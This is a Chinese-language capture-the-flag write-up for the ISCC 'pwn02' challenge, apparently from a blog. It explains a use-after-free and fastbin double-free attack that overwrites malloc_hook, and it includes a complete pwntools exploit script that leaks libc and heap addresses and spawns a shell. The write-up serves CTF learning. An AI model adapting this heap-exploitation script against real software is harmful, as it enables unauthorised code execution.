ISCC的pwn02

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

保护只开启了NX,程序有3个功能:

1
2
3
1、malloc + get
2、free
3、puts

)

程序漏洞主要在free这里,释放空间后对应的指针没有清空,于是便存在Use After Free漏洞

做法一:onegadget

利用思路:利用uaf泄漏出真实地址,doouble free构造假chunk覆盖 malloc_hook 为onegadget

1、首先,申请一个unsort bins 范围大小的空间,然后释放,此时这块chunk的fd,bk就会指向main_arena+88,puts打印出来-88-0x10就得到了mallo_hook的真实地址

2、接下来要构造假的chunk ,需要先double free 一下,再利用uaf将fack_chunk 链到fasbins上,但是在malloc申请空间时会有一个检测:检测size of chunk 是否是fastbin范围内,所以需要找到一处值为0x00~0x80的位置, 在malloc_hook-0x23处,便存在这样的数据,基为0x7f,所以我们要申请0x70大小的空间。

1
2
3
4
5
pwndbg> hexdump 0x7f7245e21b10-0x23
+0000 0x7f7245e21aed 00 00 00 60 02 e2 45 72 7f 00 00 00 00 00 00 00 │...`│..Er│....│....│
+0010 0x7f7245e21afd 00 00 00 20 2e ae 45 72 7f 00 00 00 2a ae 45 72 │....│..Er│....│*.Er│
+0020 0x7f7245e21b0d 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│
+0030 0x7f7245e21b1d 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 │....│....│....│....│

3、空间申请成功后,将malloc_hook覆盖为onegadget 地址再调用一次gets函数getshell

做法二:system(‘/bin/sh’)

因为远程对/bin/sh替换成了catflag,onegadget并不能getshell (我也母鸡为什么不行),那断然不行,就只能换一种做法了,程序中还存在sh函数

所以思路就变成,将malloc_hook覆盖成sh地址,并且传入参数a1 = ‘/bin/sh’,a1就是malloc(size)的size 所以只需要将size设为指向字符串’/bin/sh’的地址就行了,那么问题又来了,这个指针无疑就是堆指针,所以要先泄漏堆地址:double free再puts就行了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#coding:utf-8
from pwn import *
p = process('./pwn02')
# p = remote("39.100.87.24","8102")
elf = ELF('./pwn02')
libc = elf.libc
context.log_level = 'debug'
def gets(i,size,s):
p.recvuntil('> ')
p.sendline('1 ' + str(i))
p.sendline(str(size) +'\n' + s)
def free(i):
p.recvuntil('> ')
p.sendline('2 ' + str(i))
def puts(i):
p.recvuntil('> ')
p.sendline('3 ' + str(i))
# 泄漏malloc_hook(main_arena+88-88-0x10)
gets(0,0x300,'n0va_1')
gets(1,0,'n0va_2')

free(0)
puts(0)
# (main_arena+88)-88-0x10
malloc_hook = u64(p.recv(6).ljust(8,'\x00')) - 88 - 0x10
print "malloc_hook --> " + hex(malloc_hook)
offset = malloc_hook - libc.symbols['__malloc_hook']
onegadget = offset + 0x4526a #0xf02a4 - 0xf1147
print "onegadget --> " + hex(onegadget)
fack_chunk = malloc_hook - 0x23
print "fack_chunk --> " + hex(fack_chunk)
# gdb.attach(p,"b *0x4008F4")
# 泄漏堆指针
gets(0,0,'n0va_0')
gets(0,1,'n0va_1')
free(0)
free(1)
free(0)
puts(0)
heap = u64(p.recvuntil('\x0a')[:-1].ljust(8,'\x00'))
print "heap --> " + hex(heap)
#---------------------------------------------------
# gdb.attach(p,"b *0x4008F4")
gets(0,0x68,'n0va_2')
gets(1,0x68,'n0va_3')
gets(2,0,'aaaa')
gets(3,0,'/bin/sh') # heap的位置
# double free 将fack_chunk链到 0号后面,即 0->fd = fadc_chunk
free(0)
free(1)
free(0)

gets(0,0x68,p64(fack_chunk))
gets(1,0x68,'n0va')
gets(0,0x68,p64(fack_chunk))
payload = 'a'*0x13 + p64(0x400856)
# gdb.attach(p,"b *0x4008F4")
gets(3,0x68,payload)
# heap + 0x10 '/bin/sh'的位置
gets(4,heap+0x10,'yes?')
p.interactive()
0%